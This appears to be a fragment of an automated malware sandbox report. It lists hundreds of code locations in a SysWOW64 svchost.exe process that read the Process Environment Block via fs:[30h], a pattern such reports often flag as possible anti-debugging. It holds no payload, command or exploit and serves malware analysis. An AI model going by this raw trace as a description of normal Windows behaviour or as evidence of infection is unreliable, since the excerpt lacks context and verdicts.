Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3A2C3 mov eax, dword ptr fs:[00000030h]	1_2_02E3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3A2C3 mov eax, dword ptr fs:[00000030h]	1_2_02E3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3A2C3 mov eax, dword ptr fs:[00000030h]	1_2_02E3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F062D6 mov eax, dword ptr fs:[00000030h]	1_2_02F062D6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E402A0 mov eax, dword ptr fs:[00000030h]	1_2_02E402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E402A0 mov eax, dword ptr fs:[00000030h]	1_2_02E402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EC62A0 mov eax, dword ptr fs:[00000030h]	1_2_02EC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EC62A0 mov ecx, dword ptr fs:[00000030h]	1_2_02EC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EC62A0 mov eax, dword ptr fs:[00000030h]	1_2_02EC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EC62A0 mov eax, dword ptr fs:[00000030h]	1_2_02EC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EC62A0 mov eax, dword ptr fs:[00000030h]	1_2_02EC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EC62A0 mov eax, dword ptr fs:[00000030h]	1_2_02EC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6E284 mov eax, dword ptr fs:[00000030h]	1_2_02E6E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6E284 mov eax, dword ptr fs:[00000030h]	1_2_02E6E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB0283 mov eax, dword ptr fs:[00000030h]	1_2_02EB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB0283 mov eax, dword ptr fs:[00000030h]	1_2_02EB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB0283 mov eax, dword ptr fs:[00000030h]	1_2_02EB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E34260 mov eax, dword ptr fs:[00000030h]	1_2_02E34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E34260 mov eax, dword ptr fs:[00000030h]	1_2_02E34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E34260 mov eax, dword ptr fs:[00000030h]	1_2_02E34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2826B mov eax, dword ptr fs:[00000030h]	1_2_02E2826B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EE0274 mov eax, dword ptr fs:[00000030h]	1_2_02EE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EE0274 mov eax, dword ptr fs:[00000030h]	1_2_02EE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EE0274 mov eax, dword ptr fs:[00000030h]	1_2_02EE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EE0274 mov eax, dword ptr fs:[00000030h]	1_2_02EE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EE0274 mov eax, dword ptr fs:[00000030h]	1_2_02EE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EE0274 mov eax, dword ptr fs:[00000030h]	1_2_02EE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EE0274 mov eax, dword ptr fs:[00000030h]	1_2_02EE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EE0274 mov eax, dword ptr fs:[00000030h]	1_2_02EE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EE0274 mov eax, dword ptr fs:[00000030h]	1_2_02EE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EE0274 mov eax, dword ptr fs:[00000030h]	1_2_02EE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EE0274 mov eax, dword ptr fs:[00000030h]	1_2_02EE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EE0274 mov eax, dword ptr fs:[00000030h]	1_2_02EE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB8243 mov eax, dword ptr fs:[00000030h]	1_2_02EB8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB8243 mov ecx, dword ptr fs:[00000030h]	1_2_02EB8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F0625D mov eax, dword ptr fs:[00000030h]	1_2_02F0625D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2A250 mov eax, dword ptr fs:[00000030h]	1_2_02E2A250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E36259 mov eax, dword ptr fs:[00000030h]	1_2_02E36259
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EEA250 mov eax, dword ptr fs:[00000030h]	1_2_02EEA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EEA250 mov eax, dword ptr fs:[00000030h]	1_2_02EEA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2823B mov eax, dword ptr fs:[00000030h]	1_2_02E2823B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E403E9 mov eax, dword ptr fs:[00000030h]	1_2_02E403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E403E9 mov eax, dword ptr fs:[00000030h]	1_2_02E403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E403E9 mov eax, dword ptr fs:[00000030h]	1_2_02E403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E403E9 mov eax, dword ptr fs:[00000030h]	1_2_02E403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E403E9 mov eax, dword ptr fs:[00000030h]	1_2_02E403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E403E9 mov eax, dword ptr fs:[00000030h]	1_2_02E403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E403E9 mov eax, dword ptr fs:[00000030h]	1_2_02E403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E403E9 mov eax, dword ptr fs:[00000030h]	1_2_02E403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E4E3F0 mov eax, dword ptr fs:[00000030h]	1_2_02E4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E4E3F0 mov eax, dword ptr fs:[00000030h]	1_2_02E4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E4E3F0 mov eax, dword ptr fs:[00000030h]	1_2_02E4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E663FF mov eax, dword ptr fs:[00000030h]	1_2_02E663FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EEC3CD mov eax, dword ptr fs:[00000030h]	1_2_02EEC3CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3A3C0 mov eax, dword ptr fs:[00000030h]	1_2_02E3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3A3C0 mov eax, dword ptr fs:[00000030h]	1_2_02E3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3A3C0 mov eax, dword ptr fs:[00000030h]	1_2_02E3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3A3C0 mov eax, dword ptr fs:[00000030h]	1_2_02E3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3A3C0 mov eax, dword ptr fs:[00000030h]	1_2_02E3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3A3C0 mov eax, dword ptr fs:[00000030h]	1_2_02E3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E383C0 mov eax, dword ptr fs:[00000030h]	1_2_02E383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E383C0 mov eax, dword ptr fs:[00000030h]	1_2_02E383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E383C0 mov eax, dword ptr fs:[00000030h]	1_2_02E383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E383C0 mov eax, dword ptr fs:[00000030h]	1_2_02E383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB63C0 mov eax, dword ptr fs:[00000030h]	1_2_02EB63C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDE3DB mov eax, dword ptr fs:[00000030h]	1_2_02EDE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDE3DB mov eax, dword ptr fs:[00000030h]	1_2_02EDE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDE3DB mov ecx, dword ptr fs:[00000030h]	1_2_02EDE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDE3DB mov eax, dword ptr fs:[00000030h]	1_2_02EDE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02ED43D4 mov eax, dword ptr fs:[00000030h]	1_2_02ED43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02ED43D4 mov eax, dword ptr fs:[00000030h]	1_2_02ED43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2E388 mov eax, dword ptr fs:[00000030h]	1_2_02E2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2E388 mov eax, dword ptr fs:[00000030h]	1_2_02E2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2E388 mov eax, dword ptr fs:[00000030h]	1_2_02E2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5438F mov eax, dword ptr fs:[00000030h]	1_2_02E5438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5438F mov eax, dword ptr fs:[00000030h]	1_2_02E5438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E28397 mov eax, dword ptr fs:[00000030h]	1_2_02E28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E28397 mov eax, dword ptr fs:[00000030h]	1_2_02E28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E28397 mov eax, dword ptr fs:[00000030h]	1_2_02E28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02ED437C mov eax, dword ptr fs:[00000030h]	1_2_02ED437C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB2349 mov eax, dword ptr fs:[00000030h]	1_2_02EB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB2349 mov eax, dword ptr fs:[00000030h]	1_2_02EB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB2349 mov eax, dword ptr fs:[00000030h]	1_2_02EB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB2349 mov eax, dword ptr fs:[00000030h]	1_2_02EB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB2349 mov eax, dword ptr fs:[00000030h]	1_2_02EB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB2349 mov eax, dword ptr fs:[00000030h]	1_2_02EB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB2349 mov eax, dword ptr fs:[00000030h]	1_2_02EB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB2349 mov eax, dword ptr fs:[00000030h]	1_2_02EB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB2349 mov eax, dword ptr fs:[00000030h]	1_2_02EB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB2349 mov eax, dword ptr fs:[00000030h]	1_2_02EB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB2349 mov eax, dword ptr fs:[00000030h]	1_2_02EB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB2349 mov eax, dword ptr fs:[00000030h]	1_2_02EB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB2349 mov eax, dword ptr fs:[00000030h]	1_2_02EB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB2349 mov eax, dword ptr fs:[00000030h]	1_2_02EB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB2349 mov eax, dword ptr fs:[00000030h]	1_2_02EB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB035C mov eax, dword ptr fs:[00000030h]	1_2_02EB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB035C mov eax, dword ptr fs:[00000030h]	1_2_02EB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB035C mov eax, dword ptr fs:[00000030h]	1_2_02EB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB035C mov ecx, dword ptr fs:[00000030h]	1_2_02EB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB035C mov eax, dword ptr fs:[00000030h]	1_2_02EB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB035C mov eax, dword ptr fs:[00000030h]	1_2_02EB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EFA352 mov eax, dword ptr fs:[00000030h]	1_2_02EFA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02ED8350 mov ecx, dword ptr fs:[00000030h]	1_2_02ED8350
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F0634F mov eax, dword ptr fs:[00000030h]	1_2_02F0634F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F08324 mov eax, dword ptr fs:[00000030h]	1_2_02F08324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F08324 mov ecx, dword ptr fs:[00000030h]	1_2_02F08324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F08324 mov eax, dword ptr fs:[00000030h]	1_2_02F08324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F08324 mov eax, dword ptr fs:[00000030h]	1_2_02F08324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6A30B mov eax, dword ptr fs:[00000030h]	1_2_02E6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6A30B mov eax, dword ptr fs:[00000030h]	1_2_02E6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6A30B mov eax, dword ptr fs:[00000030h]	1_2_02E6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2C310 mov ecx, dword ptr fs:[00000030h]	1_2_02E2C310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E50310 mov ecx, dword ptr fs:[00000030h]	1_2_02E50310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2A0E3 mov ecx, dword ptr fs:[00000030h]	1_2_02E2A0E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E380E9 mov eax, dword ptr fs:[00000030h]	1_2_02E380E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB60E0 mov eax, dword ptr fs:[00000030h]	1_2_02EB60E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2C0F0 mov eax, dword ptr fs:[00000030h]	1_2_02E2C0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E720F0 mov ecx, dword ptr fs:[00000030h]	1_2_02E720F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB20DE mov eax, dword ptr fs:[00000030h]	1_2_02EB20DE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E280A0 mov eax, dword ptr fs:[00000030h]	1_2_02E280A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EC80A8 mov eax, dword ptr fs:[00000030h]	1_2_02EC80A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EF60B8 mov eax, dword ptr fs:[00000030h]	1_2_02EF60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EF60B8 mov ecx, dword ptr fs:[00000030h]	1_2_02EF60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3208A mov eax, dword ptr fs:[00000030h]	1_2_02E3208A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5C073 mov eax, dword ptr fs:[00000030h]	1_2_02E5C073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E32050 mov eax, dword ptr fs:[00000030h]	1_2_02E32050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB6050 mov eax, dword ptr fs:[00000030h]	1_2_02EB6050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2A020 mov eax, dword ptr fs:[00000030h]	1_2_02E2A020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2C020 mov eax, dword ptr fs:[00000030h]	1_2_02E2C020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EC6030 mov eax, dword ptr fs:[00000030h]	1_2_02EC6030
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB4000 mov ecx, dword ptr fs:[00000030h]	1_2_02EB4000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02ED2000 mov eax, dword ptr fs:[00000030h]	1_2_02ED2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02ED2000 mov eax, dword ptr fs:[00000030h]	1_2_02ED2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02ED2000 mov eax, dword ptr fs:[00000030h]	1_2_02ED2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02ED2000 mov eax, dword ptr fs:[00000030h]	1_2_02ED2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02ED2000 mov eax, dword ptr fs:[00000030h]	1_2_02ED2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02ED2000 mov eax, dword ptr fs:[00000030h]	1_2_02ED2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02ED2000 mov eax, dword ptr fs:[00000030h]	1_2_02ED2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02ED2000 mov eax, dword ptr fs:[00000030h]	1_2_02ED2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E4E016 mov eax, dword ptr fs:[00000030h]	1_2_02E4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E4E016 mov eax, dword ptr fs:[00000030h]	1_2_02E4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E4E016 mov eax, dword ptr fs:[00000030h]	1_2_02E4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E4E016 mov eax, dword ptr fs:[00000030h]	1_2_02E4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F061E5 mov eax, dword ptr fs:[00000030h]	1_2_02F061E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E601F8 mov eax, dword ptr fs:[00000030h]	1_2_02E601F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EF61C3 mov eax, dword ptr fs:[00000030h]	1_2_02EF61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EF61C3 mov eax, dword ptr fs:[00000030h]	1_2_02EF61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EAE1D0 mov eax, dword ptr fs:[00000030h]	1_2_02EAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EAE1D0 mov eax, dword ptr fs:[00000030h]	1_2_02EAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EAE1D0 mov ecx, dword ptr fs:[00000030h]	1_2_02EAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EAE1D0 mov eax, dword ptr fs:[00000030h]	1_2_02EAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EAE1D0 mov eax, dword ptr fs:[00000030h]	1_2_02EAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E70185 mov eax, dword ptr fs:[00000030h]	1_2_02E70185
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EEC188 mov eax, dword ptr fs:[00000030h]	1_2_02EEC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EEC188 mov eax, dword ptr fs:[00000030h]	1_2_02EEC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02ED4180 mov eax, dword ptr fs:[00000030h]	1_2_02ED4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02ED4180 mov eax, dword ptr fs:[00000030h]	1_2_02ED4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB019F mov eax, dword ptr fs:[00000030h]	1_2_02EB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB019F mov eax, dword ptr fs:[00000030h]	1_2_02EB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB019F mov eax, dword ptr fs:[00000030h]	1_2_02EB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB019F mov eax, dword ptr fs:[00000030h]	1_2_02EB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2A197 mov eax, dword ptr fs:[00000030h]	1_2_02E2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2A197 mov eax, dword ptr fs:[00000030h]	1_2_02E2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2A197 mov eax, dword ptr fs:[00000030h]	1_2_02E2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F04164 mov eax, dword ptr fs:[00000030h]	1_2_02F04164
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F04164 mov eax, dword ptr fs:[00000030h]	1_2_02F04164
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EC4144 mov eax, dword ptr fs:[00000030h]	1_2_02EC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EC4144 mov eax, dword ptr fs:[00000030h]	1_2_02EC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EC4144 mov ecx, dword ptr fs:[00000030h]	1_2_02EC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EC4144 mov eax, dword ptr fs:[00000030h]	1_2_02EC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EC4144 mov eax, dword ptr fs:[00000030h]	1_2_02EC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2C156 mov eax, dword ptr fs:[00000030h]	1_2_02E2C156
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EC8158 mov eax, dword ptr fs:[00000030h]	1_2_02EC8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E36154 mov eax, dword ptr fs:[00000030h]	1_2_02E36154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E36154 mov eax, dword ptr fs:[00000030h]	1_2_02E36154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E60124 mov eax, dword ptr fs:[00000030h]	1_2_02E60124
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDE10E mov eax, dword ptr fs:[00000030h]	1_2_02EDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDE10E mov ecx, dword ptr fs:[00000030h]	1_2_02EDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDE10E mov eax, dword ptr fs:[00000030h]	1_2_02EDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDE10E mov eax, dword ptr fs:[00000030h]	1_2_02EDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDE10E mov ecx, dword ptr fs:[00000030h]	1_2_02EDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDE10E mov eax, dword ptr fs:[00000030h]	1_2_02EDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDE10E mov eax, dword ptr fs:[00000030h]	1_2_02EDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDE10E mov ecx, dword ptr fs:[00000030h]	1_2_02EDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDE10E mov eax, dword ptr fs:[00000030h]	1_2_02EDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDE10E mov ecx, dword ptr fs:[00000030h]	1_2_02EDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDA118 mov ecx, dword ptr fs:[00000030h]	1_2_02EDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDA118 mov eax, dword ptr fs:[00000030h]	1_2_02EDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDA118 mov eax, dword ptr fs:[00000030h]	1_2_02EDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDA118 mov eax, dword ptr fs:[00000030h]	1_2_02EDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EF0115 mov eax, dword ptr fs:[00000030h]	1_2_02EF0115
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EAE6F2 mov eax, dword ptr fs:[00000030h]	1_2_02EAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EAE6F2 mov eax, dword ptr fs:[00000030h]	1_2_02EAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EAE6F2 mov eax, dword ptr fs:[00000030h]	1_2_02EAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EAE6F2 mov eax, dword ptr fs:[00000030h]	1_2_02EAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB06F1 mov eax, dword ptr fs:[00000030h]	1_2_02EB06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB06F1 mov eax, dword ptr fs:[00000030h]	1_2_02EB06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6A6C7 mov ebx, dword ptr fs:[00000030h]	1_2_02E6A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6A6C7 mov eax, dword ptr fs:[00000030h]	1_2_02E6A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6C6A6 mov eax, dword ptr fs:[00000030h]	1_2_02E6C6A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E666B0 mov eax, dword ptr fs:[00000030h]	1_2_02E666B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E34690 mov eax, dword ptr fs:[00000030h]	1_2_02E34690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E34690 mov eax, dword ptr fs:[00000030h]	1_2_02E34690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EF866E mov eax, dword ptr fs:[00000030h]	1_2_02EF866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EF866E mov eax, dword ptr fs:[00000030h]	1_2_02EF866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6A660 mov eax, dword ptr fs:[00000030h]	1_2_02E6A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E6A660 mov eax, dword ptr fs:[00000030h]	1_2_02E6A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E62674 mov eax, dword ptr fs:[00000030h]	1_2_02E62674
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E4C640 mov eax, dword ptr fs:[00000030h]	1_2_02E4C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E4E627 mov eax, dword ptr fs:[00000030h]	1_2_02E4E627
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E66620 mov eax, dword ptr fs:[00000030h]	1_2_02E66620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E68620 mov eax, dword ptr fs:[00000030h]	1_2_02E68620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E3262C mov eax, dword ptr fs:[00000030h]	1_2_02E3262C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EAE609 mov eax, dword ptr fs:[00000030h]	1_2_02EAE609
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E4260B mov eax, dword ptr fs:[00000030h]	1_2_02E4260B
